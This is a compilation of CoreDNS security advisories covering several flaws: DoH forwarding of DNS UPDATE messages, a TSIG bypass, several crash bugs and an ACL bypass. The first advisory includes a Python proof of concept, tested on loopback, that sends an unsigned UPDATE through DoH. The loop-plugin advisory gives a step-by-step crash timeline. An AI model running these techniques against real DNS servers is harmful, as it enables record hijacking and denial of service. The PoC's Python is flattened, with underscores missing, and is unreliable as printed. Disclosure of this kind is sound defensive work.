Summary
CoreDNS accepted RFC 2136 UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the proxy/forward plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.
If an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.
Details
The affected listeners called dns.Msg.Unpack without the request policy used by the UDP/TCP server:
- DoH and DoH3 - DoQ - DNS-over-gRPC
CoreDNS routed the message using its Zone question without checking the opcode. forward then passed the original message to the upstream.
By contrast, dns.DefaultMsgAcceptFunc allows only QUERY and NOTIFY. The fix applies that policy to the raw header via dnsutil.UnpackRequest before any affected transport dispatches the request.
PoC
The reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the forward plugin may select either transport. It does not contact or modify a real authoritative server.
Clone the repository and build the server:
bash git clone git@github.com:coredns/coredns.git cd coredns git checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main go build -tags=grpcnotrace -o coredns .
Save this as Corefile.poc:
text https://.:8053 { bind 127.0.0.1 tls plugin/tls/testcert.pem plugin/tls/testkey.pem forward . 127.0.0.1:15354 }
Save this as poc.py:
python #!/usr/bin/env python3 import argparse import http.client import queue import socket import ssl import struct import threading
OPCODEUPDATE = 5 TYPEA = 1 CLASSIN = 1
def encodename(name): return b"".join(bytes((len(label),)) + label.encode() for label in name.rstrip(".").split(".")) + b"\x00"
def updatemessage(): zone = encodename("example.com.") + struct.pack("!HH", 6, CLASSIN) update = ( encodename("foo.example.com.") + struct.pack("!HHIH", TYPEA, CLASSIN, 300, 4) + socket.inetaton("192.0.2.123") ) header = struct.pack("!HHHHHH", 0x1234, OPCODEUPDATE << 11, 1, 0, 1, 0) return header + zone + update
def readname(message, offset): labels = [] end = None seen = set() while True: if offset >= len(message) or offset in seen: raise ValueError("invalid DNS name") seen.add(offset) length = message[offset] if length & 0xC0 == 0xC0: if offset + 1 >= len(message): raise ValueError("truncated compression pointer") if end is None: end = offset + 2 offset = ((length & 0x3F) << 8) | message[offset + 1] continue offset += 1 if length == 0: return ".".join(labels) + ".", end if end is not None else offset if length & 0xC0 or offset + length > len(message): raise ValueError("invalid DNS label") labels.append(message[offset : offset + length].decode("ascii")) offset += length
def questionend(message, count): offset = 12 for in range(count): , offset = readname(message, offset) offset += 4 if offset > len(message): raise ValueError("truncated question") return offset
def parseupdate(message): , flags, qdcount, , nscount, = struct.unpackfrom("!HHHHHH", message) if (flags >> 11) & 0xF != OPCODEUPDATE or qdcount != 1 or nscount < 1: return None offset = questionend(message, qdcount) name, offset = readname(message, offset) rrtype, rrclass, ttl, rdlength = struct.unpackfrom("!HHIH", message, offset) offset += 10 rdata = message[offset : offset + rdlength] if rrtype != TYPEA or rrclass != CLASSIN or len(rdata) != 4: return None return name, ttl, socket.inetntoa(rdata)
def responsefor(message): ident, flags, qdcount, , , = struct.unpackfrom("!HHHHHH", message) end = questionend(message, qdcount) responseflags = flags | 0x8000 return struct.pack("!HHHHHH", ident, responseflags, qdcount, 0, 0, 0) + message[12:end]
def handlemessage(message, peer, received): try: update = parseupdate(message) response = responsefor(message) except (ValueError, struct.error): return None if update is not None: received.put((peer, update)) return response
def serveudp(sock, received, stopped): while not stopped.isset(): try: message, peer = sock.recvfrom(65535) except socket.timeout: continue except OSError: return response = handlemessage(message, peer, received) if response is not None: sock.sendto(response, peer)
def recvexact(connection, size, stopped): data = bytearray() while len(data) < size and not stopped.isset(): try: chunk = connection.recv(size - len(data)) except socket.timeout: continue if not chunk: return None data.extend(chunk) return bytes(data) if len(data) == size else None
def servetcp(sock, received, stopped): while not stopped.isset(): try: connection, peer = sock.accept() except socket.timeout: continue except OSError: return with connection: connection.settimeout(0.1) while not stopped.isset(): length = recvexact(connection, 2, stopped) if length is None: break message = recvexact(connection, struct.unpack("!H", length)[0], stopped) if message is None: break response = handlemessage(message, peer, received) if response is not None: connection.sendall(struct.pack("!H", len(response)) + response)
def senddoh(host, port, payload, timeout): context = ssl.createunverifiedcontext() connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context) try: connection.request( "POST", "/dns-query", body=payload, headers={"Content-Type": "application/dns-message"}, ) response = connection.getresponse() body = response.read() return response.status, len(body) finally: connection.close()
def main(): parser = argparse.ArgumentParser(description="Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH") parser.addargument("--host", default="127.0.0.1") parser.addargument("--port", type=int, default=8053) parser.addargument("--upstream-host", default="127.0.0.1") parser.addargument("--upstream-port", type=int, default=15354) parser.addargument("--timeout", type=float, default=2.0) parser.addargument("--expect", choices=("forwarded", "blocked", "either"), default="either") args = parser.parseargs()
received = queue.Queue() stopped = threading.Event() udpsock = socket.socket(socket.AFINET, socket.SOCKDGRAM) udpsock.settimeout(0.1) udpsock.bind((args.upstreamhost, args.upstreamport)) tcpsock = socket.socket(socket.AFINET, socket.SOCKSTREAM) tcpsock.setsockopt(socket.SOLSOCKET, socket.SOREUSEADDR, 1) tcpsock.settimeout(0.1) tcpsock.bind((args.upstreamhost, args.upstreamport)) tcpsock.listen() threads = [ threading.Thread(target=serveudp, args=(udpsock, received, stopped), daemon=True), threading.Thread(target=servetcp, args=(tcpsock, received, stopped), daemon=True), ] for thread in threads: thread.start()
payload = updatemessage() try: status, responsebytes = senddoh(args.host, args.port, payload, args.timeout) try: peer, update = received.get(timeout=args.timeout) except queue.Empty: peer = update = None finally: stopped.set() udpsock.close() tcpsock.close() for thread in threads: thread.join(timeout=1)
print("payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123" % len(payload)) print("httpstatus=%d responsebytes=%d" % (status, responsebytes)) if update is None: result = "blocked" print("upstreamreceivedupdate=false") else: result = "forwarded" name, ttl, address = update print("upstreamreceivedupdate=true source=%s:%d" % peer) print("upstreamrecord=%s %d IN A %s" % (name, ttl, address)) print("result=%s" % result)
if args.expect != "either" and args.expect != result: raise SystemExit("expected %s, got %s" % (args.expect, result))
if name == "main": main()
Start the vulnerable revision:
sh ./coredns -conf Corefile.poc
In a second terminal, run the probe:
console $ python3 poc.py --expect forwarded payload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123 httpstatus=200 responsebytes=29 upstreamreceivedupdate=true source=127.0.0.1:52391 upstreamrecord=foo.example.com. 300 IN A 192.0.2.123 result=forwarded
The ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.
For comparison, build and start CoreDNS with the fix:
sh git checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main go build -tags=grpcnotrace -o coredns-fixed . ./coredns-fixed -conf Corefile.poc
The same probe is rejected before reaching the synthetic upstream:
console $ python3 poc.py --expect blocked payload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123 httpstatus=400 responsebytes=16 upstreamreceivedupdate=false result=blocked
Impact
Exploitation requires all of the following:
- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener - the selected proxy/forward target accepts RFC 2136 UPDATE - the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG
The upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.
CoreDNS is a DNS server written in Go. Prior to 1.14.5, the CoreDNS rewrite plugin supports edns0 rewrite rules with an optional revert flag, and two response rules, edns0SetResponseRule and edns0ReplaceResponseRule[T] in plugin/rewrite/edns0.go, call res.IsEdns0() and immediately dereference the returned dns.OPT without a nil check when a downstream plugin returns a response with no OPT record. A remote, unauthenticated client can send a single ordinary DNS query matching a rewrite edns0 <local|nsid|subnet> <set|append|replace> ... revert rule, causing ResponseReverter in plugin/rewrite/reverter.go to panic, return SERVFAIL, and degrade availability, or crash the CoreDNS process if the debug directive disables recovery. This issue is fixed in version 1.14.5.
CoreDNS is a DNS server written in Go. Prior to 1.14.4, a single 28-byte UDP datagram can crash the CoreDNS process when the proxyproto plugin is enabled because plugin/pkg/proxyproto/proxyproto.go PacketConn.ReadFrom handles a PROXY v2 header with non-UDP transport such as family byte 0x11, reassigns addr from a nil readFrom result after parseProxyProtocol errors, and calls addr.String() in the warning log before ServeDNS recovery applies. This issue is fixed in version 1.14.4.
CoreDNS k8sexternal headless AXFR can emit an empty transfer batch that panics the transfer plugin
CoreDNS is a DNS server written in Go. In versions prior to 1.14.3, the gRPC, QUIC, DoH, and DoH3 transport implementations incorrectly handle TSIG authentication. For gRPC and QUIC, the server checks whether the TSIG key name exists in the configuration but never calls dns.TsigVerify() to validate the HMAC. If the key name matches a configured key, the tsigStatus field remains nil and the tsig plugin treats the request as successfully authenticated regardless of the MAC value. For DoH and DoH3, the issue is more severe: the DoHWriter.TsigStatus() method unconditionally returns nil, and the server never inspects the TSIG record at all. Any request containing a TSIG record is treated as authenticated over DoH and DoH3, even if the key name is invalid and the MAC is arbitrary.
An unauthenticated network attacker can exploit this to bypass TSIG-protected functionality such as AXFR/IXFR zone transfers, dynamic DNS updates, or other TSIG-gated plugin behavior. The DoH and DoH3 variants have a lower exploitation bar because the attacker does not need to know a valid TSIG key name.
This issue has been fixed in version 1.14.3. As a workaround, disable gRPC, QUIC, DoH, and DoH3 listeners where TSIG authentication is required, or restrict network-level access to affected transport ports to trusted sources only.
CoreDNS is a DNS server that chains plugins. Prior to version 1.14.2, a denial of service vulnerability exists in CoreDNS's loop detection plugin that allows an attacker to crash the DNS server by sending specially crafted DNS queries. The vulnerability stems from the use of a predictable pseudo-random number generator (PRNG) for generating a secret query name, combined with a fatal error handler that terminates the entire process. This issue has been patched in version 1.14.2.
CoreDNS is a DNS server that chains plugins. Prior to version 1.14.2, a logical vulnerability in CoreDNS allows DNS access controls to be bypassed due to the default execution order of plugins. Security plugins such as acl are evaluated before the rewrite plugin, resulting in a Time-of-Check Time-of-Use (TOCTOU) flaw. This issue has been patched in version 1.14.2.
A logical vulnerability in CoreDNS allows DNS access controls to be bypassed due to the default execution order of plugins. Security plugins such as acl are evaluated before the rewrite plugin, resulting in a Time-of-Check Time-of-Use (TOCTOU) flaw.
Impact
In multi-tenant Kubernetes clusters, this flaw undermines DNS-based segmentation strategies.
Example scenario: 1. ACL blocks access to .admin.svc.cluster.local 2. A rewrite rule maps public-name → admin.svc.cluster.local 3. An unprivileged pod queries public-name 4. ACL allows the request 5. Rewrite exposes the internal admin service IP
This allows unauthorized service discovery and reconnaissance of restricted internal infrastructure.
Patches Has the problem been patched? What versions should users upgrade to?
Workarounds
- Reorder the default plugin.cfg so that: - rewrite and other normalization plugins run before acl, opa, and firewall - Ensure all access control checks are applied after name normalization.
Executive Summary
A Denial of Service vulnerability exists in CoreDNS's loop detection plugin that allows an attacker to crash the DNS server by sending specially crafted DNS queries. The vulnerability stems from the use of a predictable pseudo-random number generator (PRNG) for generating a secret query name, combined with a fatal error handler that terminates the entire process.
--- Technical Details
Vulnerability Description
The CoreDNS loop plugin is designed to detect forwarding loops by performing a self-test during server startup. The plugin generates a random query name (qname) using Go's math/rand package and sends an HINFO query to itself. If the server receives multiple matching queries, it assumes a forwarding loop exists and terminates.
The vulnerability arises from two design flaws:
1. Predictable PRNG Seed: The random number generator is seeded with time.Now().UnixNano(), making the generated qname predictable if an attacker knows the approximate server start time.
2. Fatal Error Handler: When the plugin detects what it believes is a loop (3+ matching HINFO queries), it calls log.Fatalf() which invokes os.Exit(1), immediately terminating the process without cleanup or recovery.
Affected Code
File: plugin/loop/setup.go go // PRNG seeded with predictable timestamp var r = rand.New(time.Now().UnixNano())
// Qname generation using two consecutive PRNG calls func qname(zone string) string { l1 := strconv.Itoa(r.Int()) l2 := strconv.Itoa(r.Int()) return dnsutil.Join(l1, l2, zone) }
File: plugin/loop/loop.go go func (l Loop) ServeDNS(ctx context.Context, w dns.ResponseWriter, r dns.Msg) (int, error) { // ... validation checks ... if state.Name() == l.qname { l.inc() // Increment counter }
if l.seen() > 2 { // FATAL: Terminates entire process log.Fatalf("Loop (%s -> %s) detected for zone %q...", ...) } // ... }
File: plugin/pkg/log/log.go go func Fatalf(format string, v ...any) { logf(fatal, format, v...) os.Exit(1) // Immediate process termination }
Exploitation Window
The loop plugin remains active during the following conditions:
| Condition | Window Duration | Attack Feasibility | |-----------|-----------------|-------------------| | Healthy startup | 2 seconds | Requires precise timing | | Self-test failure (upstream unreachable) | 30 seconds | HIGH - Extended window | | Network degradation | Variable | Depends on retry behavior |
Attack Scenario
Primary Attack Vector: Network Degradation
When the upstream DNS server is unreachable (network partition, misconfiguration, outage), the loop plugin's self-test fails repeatedly. During this period:
1. The loop plugin remains active for up to 30 seconds 2. Each self-test attempt generates an HINFO query visible in CoreDNS logs 3. An attacker with log access (shared Kubernetes cluster, centralized logging) can observe the qname 4. The attacker sends 3 HINFO queries with the observed qname 5. The server immediately crashes
┌──────────────────────────────────────────────────────────────────────────┐ │ ATTACK TIMELINE │ ├──────────────────────────────────────────────────────────────────────────┤ │ T+0s CoreDNS starts, PRNG seeded with UnixNano() │ │ T+0.5s Self-test HINFO query sent (visible in logs) │ │ T+2s Self-test fails (upstream timeout) │ │ T+3s Retry #1 - counter resets, qname unchanged │ │ T+5s Retry #2 - attacker observes qname in logs │ │ T+5.1s ATTACKER: Send HINFO #1 → counter = 1 │ │ T+5.2s ATTACKER: Send HINFO #2 → counter = 2 │ │ T+5.3s ATTACKER: Send HINFO #3 → counter = 3 → os.Exit(1) │ │ T+5.3s SERVER CRASHES │ └──────────────────────────────────────────────────────────────────────────┘
---
Impact Assessment
Attack Requirements
| Requirement | Notes | |-------------|-------| | Network Access | Must be able to send UDP packets to CoreDNS port | | Log Access | Required to observe the qname (common in shared clusters) | | Timing | Extended window during network degradation | | Authentication | None required |
Real-World Impact
CoreDNS is the default DNS server for Kubernetes clusters. A successful attack would:
1. Disruption: All DNS resolution fails within the cluster 2. Cascading Failures: Services unable to discover each other 3. Restart Loop: If attack persists, CoreDNS enters crash-restart cycle 4. Data Plane Impact: Application-level failures across the cluster
References
- CoreDNS GitHub: https://github.com/coredns/coredns - Loop Plugin Documentation: https://coredns.io/plugins/loop/ - Go math/rand Documentation: https://pkg.go.dev/math/rand
Summary
A Denial of Service (DoS) vulnerability was discovered in the CoreDNS DNS-over-QUIC (DoQ) server implementation. The server previously created a new goroutine for every incoming QUIC stream without imposing any limits on the number of concurrent streams or goroutines. A remote, unauthenticated attacker could open a large number of streams, leading to uncontrolled memory consumption and eventually causing an Out Of Memory (OOM) crash — especially in containerized or memory-constrained environments.
Impact
- Component: serverquic.go - Attack Vector: Remote, network-based - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Impact: High availability loss (OOM kill or unresponsiveness)
This issue affects deployments with quic:// enabled in the Corefile. A single attacker can cause the CoreDNS instance to become unresponsive using minimal bandwidth and CPU.
Patches
The patch introduces two key mitigation mechanisms:
- maxstreams: Caps the number of concurrent QUIC streams per connection. Default: 256. - workerpoolsize: Introduces a server-wide, bounded worker pool to process incoming streams. Default: 1024.
This eliminates the 1:1 stream-to-goroutine model and ensures that CoreDNS remains resilient under high concurrency. The new configuration options are exposed through the quic Corefile block:
quic { maxstreams 256 workerpoolsize 1024 }
These defaults are generous and aligned with typical DNS-over-QUIC client behavior.
Workarounds
If you're unable to upgrade immediately, you can: - Disable QUIC support by removing or commenting out the quic:// block in your Corefile - Use container runtime resource limits to detect and isolate excessive memory usage - Monitor QUIC connection patterns and alert on anomalies
References
- RFC 9250 - DNS over Dedicated QUIC Connections - quic-go GitHub project - QUIC stream exhaustion class of vulnerabilities (related)
Credit
Thanks to @thevilledev for disclovering this vulnerability and contributing a high-quality fix.
For more information
Please consult our security guide for more information regarding our security process.